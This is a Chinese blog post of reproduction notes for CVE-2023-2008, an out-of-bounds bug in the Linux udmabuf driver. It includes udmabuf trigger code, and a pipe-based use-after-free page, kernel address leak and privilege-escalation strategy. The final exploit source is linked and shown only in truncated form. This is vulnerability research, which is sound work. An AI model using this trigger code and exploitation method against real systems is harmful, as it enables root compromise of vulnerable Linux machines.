专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
陕西司法  ·  在景区游玩受伤,责任如何划分? ·  7 小时前  
打工君投资随笔  ·  上班第一天就见证历史 ·  昨天  
打工君投资随笔  ·  上班第一天就见证历史 ·  昨天  
赛博禅心  ·  国家超算互联网,上线 DeepSeek,供全民使用 ·  2 天前  
赛博禅心  ·  国家超算互联网,上线 DeepSeek,供全民使用 ·  2 天前  
福州新闻网  ·  公开遴选!福州市委网信办发布最新公告! ·  2 天前  
游资研报  ·  DeepSeek的一些解读和思考:产业链的价 ... ·  2 天前  
游资研报  ·  DeepSeek的一些解读和思考:产业链的价 ... ·  2 天前  
51好读  ›  专栏  ›  看雪学苑

CVE-2023-2008复现笔记

看雪学苑  · 公众号  · 互联网安全  · 2024-09-09 17:59

正文




环境搭建



commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442

总的config:

defconfig+menuconfig

CONFIG_CONFIGFS_FS=y #支持img
CONFIG_SECURITYFS=y #支持img
CONFIG_DEBUG_INFO=y #调试
CONFIG_USER_NS=y #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_DMABUF=y #支持udmabuf
(同样是修改了objtool的一个代码)

此外还需要在init脚本中给普通用户赋一个可以打开/dev/udmabuf文件的权限。

然后需要没有cg隔离,复现版本v5.10.0刚好不存在cg隔离;(笔者在复现时尽量认为是隔离的,不使用这一特性,本cve比较特殊,需要用到pipe)




漏洞分析



在分配dmabuf的时候,内核会调用 dma_buf_export函数,其中传入一个dma_buf_export_info结构体来传递相关参数信息,该结构体的定义如下:

struct dma_buf_export_info {
const char *exp_name;
struct module *owner;
const struct dma_buf_ops *ops;
size_t size;
int flags;
struct dma_resv *resv;
void *priv;
};

dma_buf_export函数内容大致如下:

struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)
{
...

[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);
if (!dmabuf) {
ret = -ENOMEM;
goto err_module;
}

dmabuf->priv = exp_info->priv;
dmabuf->ops = exp_info->ops;
dmabuf->size = exp_info->size;
dmabuf->exp_name = exp_info->exp_name;
dmabuf->owner = exp_info->owner;
...[2] file = dma_buf_getfile(dmabuf, exp_info->flags);
if (IS_ERR(file)) {
ret = PTR_ERR(file);
goto err_dmabuf;
}

file->f_mode |= FMODE_LSEEK;
[3] dmabuf->file = file;

...
return dmabuf;

之后还会调用dma_buf_fd等和文件相关的操作,最后返回给我们一个文件描述符;

当然我们重点要关注这里有一个分配页面空间的部分:

ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
if (!ubuf)
return -ENOMEM;

/* calculate number of pages */
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
for (i = 0; i < head->count; i++) {
ubuf->pagecount += list[i].size >> PAGE_SHIFT;
if (ubuf->pagecount > pglimit)
goto err;
}

/* allocate array of page pointers */
ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
GFP_KERNEL);
if (!ubuf->pages) {
ret = -ENOMEM;
goto err;
}

如上述代码所示,这里给pages分配了一个指针数组,请记住,后边这里会出现漏洞;

for (i = 0; i < head->count; i++)
{
ret = -EBADFD;
memfd = fget(list[i].memfd);
if (!memfd)
goto err;
if (!shmem_mapping(file_inode(memfd)->i_mapping))
goto err;
seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
if (seals == -EINVAL)
goto err;
ret = -EINVAL;

/* make sure file can only be extended in size but not reduced */
if ((seals & SEALS_WANTED) != SEALS_WANTED ||
(seals & SEALS_DENIED) != 0)
goto err;

pgoff = list[i].offset >> PAGE_SHIFT;
pgcnt = list[i].size >> PAGE_SHIFT;

for (pgidx = 0; pgidx < pgcnt; pgidx++) {
/* lookup the page */
page = shmem_read_mapping_page(
file_inode(memfd)->i_mapping, pgoff + pgidx);
/* add the page to the array */
ubuf->pages[pgbuf++] = page;
}
fput(memfd);
memfd = NULL;
}

这里我们需要注意的是dmabuf有一个ops成员,这是一个函数表,上面有若干函数指针:


当我们对dmafd调用mmap时就会调用到mmap_udmabuf函数,下面我们简单看其代码:



总的来看就是我们可以在kmalloc分配的obj上越界写内核地址;




几个前置知识


memfd_create



ftruncate



memfd_create+udmabuf


在使用 udmabuf 设备之前,需要先使用 memfd_create 创建一个内存文件,然后才能创建 DMA buffer(dmabuf)。这是因为 memfd_create udmabuf 的组合提供了一种机制,将用户空间内存区域转换为可用于 DMA(直接内存访问)操作的缓冲区。以下是这种操作顺序的原因及其背后的机制。

1. memfd_create 提供匿名共享内存


memfd_create 用于创建一个匿名的、基于内存的文件,这个文件存在于内存中,而不是存储在磁盘上。
◆创建的内存文件可以通过文件描述符(file descriptor, FD)进行访问,并支持类似文件的操作(如 mmap write read )。
◆内存文件提供了一块用户空间的内存区域,可以安全地共享和管理。这对于在多个进程之间共享数据或跨设备传递内存数据非常有用。

2. udmabuf 将内存文件转换为 DMA 缓冲区


udmabuf 是一个 Linux 驱动程序,它的主要功能是将一个用户空间的内存区域(通常是通过 memfd_create 创建的内存文件)转换为可以供 DMA 使用的缓冲区。
◆当你通过 memfd_create 创建内存文件后,你得到一个文件描述符,这个描述符引用了一个匿名的、驻留在内存中的文件。
◆这个文件描述符然后被传递给 udmabuf udmabuf 设备将这个内存文件映射为 DMA 缓冲区。这样,内核中的 DMA 引擎(或其他硬件设备)就可以直接访问这块内存。

udmabuf使用接口


预定义:

#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)

memfd_create及其相关处理:

int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0)
errx(1, "couldn't create anonymous file");

/* setup size of anonymous file, the initial size was 0 */
if (ftruncate(mem_fd,0x1000 * 8) < 0)
errx(1, "couldn't truncate file length");

/* make sure the file cannot be reduced in size */
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
errx(1, "couldn't seal file");

printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);

打开设备文件:

int dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0)
errx(1, "couldn't open device");

printf("[*] udmabuf device fd=%d\n", dev_fd);

然后通过设备文件获取一个udmabuf:
 
struct udmabuf_create create = { 0 };
create.memfd = mem_fd;
create.size = PAGE_SIZE * N_PAGES_ALLOC;

/* reallocate one of the freed holes in kmalloc-1024 */
int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
if (udmabuf_fd < 0)
errx(1, "couldn't create udmabuf");

printf("[*] udmabuf fd=%d\n", udmabuf_fd);

通过mmap进行映射:
 
void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
if (udmabuf_map == MAP_FAILED)
errx(1, "couldn't map udmabuf");

printf("[*] udmabuf mapped at %p (%#x bytes)\n",
udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);

通过mremap进行扩展:

/* remap the virtual mapping expanding its size */
void* new_udmabuf_map = mremap(udmabuf_map,
PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
if (new_udmabuf_map == MAP_FAILED)
errx(1, "couldn't remap udmabuf mapping");

printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
PAGE_SIZE * N_PAGES_ALLOC * 2);





原因深入分析


笔者在写这部分的时候已经完全复现成功该漏洞;

依据复现过程来看,似乎是dmabuf一经创建就会在其数组中写入若干个内核地址,然后mmap时会与用户空间进行映射,而mremap似乎并没有对这个数组做任何处理,仅仅是放宽了边界条件,使得我们访问的时候不算越界;导致我们越界访问的时候会自动读取数组下面的非法数据作为page_struct;

那么问题来了,这个dma访问内存是否还是一句页表呢?看起来这个访问映射似乎与页表逻辑是不相符的;那么ops函数表中的函数对mmap到底是怎么处理的呢?

源代码路径:

https://elixir.bootlin.com/linux/v5.10/source/drivers/dma-buf/udmabuf.c

mmap的操作很简单,就是简单的赋值;

笔者个人感觉是,最开始分配了一些内存(分配物理页,但是要用虚拟地址管理),mmap的时候只分配虚拟地址,并在页表项中设置,到时候第一次访问就会走udmabuf_vm_fault进行物理内存的映射:
所以可能是mmap写了多少项页表,我们才能访问多少项,这个限制了越界,而mremap则是只修改了页表项,没有扩展这个数组;




漏洞复现


这个kmalloc_array函数是在udmabuf_create函数中被调用的,且在内核中被调用的次数比较少,我们可以直接下断点:


笔者先分配dmabuf、然后喷射内核密钥,之后再扩展dmabuf,似乎并没有越界写内核地址:


似乎可以写入一个内存地址实现USMA攻击?


这个pages所指向的应该是page_struct结构体;

我们可以在创建dmabuf之后喷射pipe并set_size,(本环境下没有cg隔离)这样dmabuf下面就会出现一个pipe的page_struct结构体,我们就有了使用用户态地址读写pipe的page的能力了,然后我们将对应的pipe关闭,那么这个page就会被释放掉;

现在我们有了一个能够制作UAF-page的能力,但是应该如何将这个page申请出来呢?

pipe页未成功释放原因探究


经过调试发现,是因为我们的pipe->ops这个函数表为空,导致了无法成功释放我们的page;

笔者在gdb中将其手动修改之后即可成功命中:


而直接调试发现,我们命中的pipe_buffer一开始是有ops的:


然而到了release的时候这个ops指针就被清空了:


这不得不让笔者想起来之前有一个pipe_read,这个read似乎也调用了一些类似的函数。

果然,==如果不读这个pipe,我们的ops就仍然存在==;

现在仍然回到了原来无法重用的问题,继续探究,最终发现是目标物理页的refcount是2,导致close之后没有成功将其free掉;为什么会是2呢?

终于找到了原因,我们==利用dma首次读取该页内容会导致该页的引用计数增加==:


所以不能通过读dma来获取命中的id,必须盲测;

问题最终得到解决:

我们不对pipe set_size了,就用原来的四则,此时要求我们的dmabuf的个数分别为初始的0x80和扩展后的0x100,然后我们给每个pipe写入超过0x1000字节的数据,用dmabuf越界读pipe的第二个页用来泄露idx,然后再用第一个页作为命中用;

我们关闭命中的pipe之后,set_size,可以成功将释放的物理页喷射出来,然后作为某一个pipe_buffer:


至此,我们有了任意读写pipe_buffer的能力了!

LEAK


此时我们可以通过读pipe_buffer中的内容,泄露page_struct的地址和内核代码段的地址;

如果还能有一个可控的内核堆地址,我们就可以利用pipe_buffer劫持控制流进而提权了;

其实也可以利用dirty_pipe直接进行攻击;(但是笔者内核版本有点低,本身就有dirty-pipe,这样似乎有点不雅观。)

本来还想用seq_file的,但是太浪费文件描述符了,命中率很低;

可以构造两次cve的利用,想用pg_vec,但是无奈pg_vec使用太多物理页了,我们释放的物理页一不小心就成了pg_vec映射的物理页了,根本没机会用来构造pg_vec;

其实我们只需要有个结构能够泄露一个我们可控的地址就行了;

栈迁移



KPTI






调试命令


gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "b *(0xffffffff816b434e)" -ex "c"





攻击成功






收获总结


pipe制造UAF页调试关键看refcount;(包括之前的多进程共享pipe,也一定是导致了refcount的增加)。

参考

https://github.com/bluefrostsecurity/CVE-2023-2008/blob/main/exp.c
https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html



FINAL-EXP


exp.c(https://bbs.kanxue.com/CVE-2023-2008.assets/exp.c)
pg_vec.h(https://bbs.kanxue.com/CVE-2023-2008.assets/pg_vec.h)
page.h(https://bbs.kanxue.com/CVE-2023-2008.assets/page.h)
key.h(https://bbs.kanxue.com/CVE-2023-2008.assets/key.h)
msg.h(https://bbs.kanxue.com/CVE-2023-2008.assets/msg.h)

#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"






请到「今天看啥」查看全文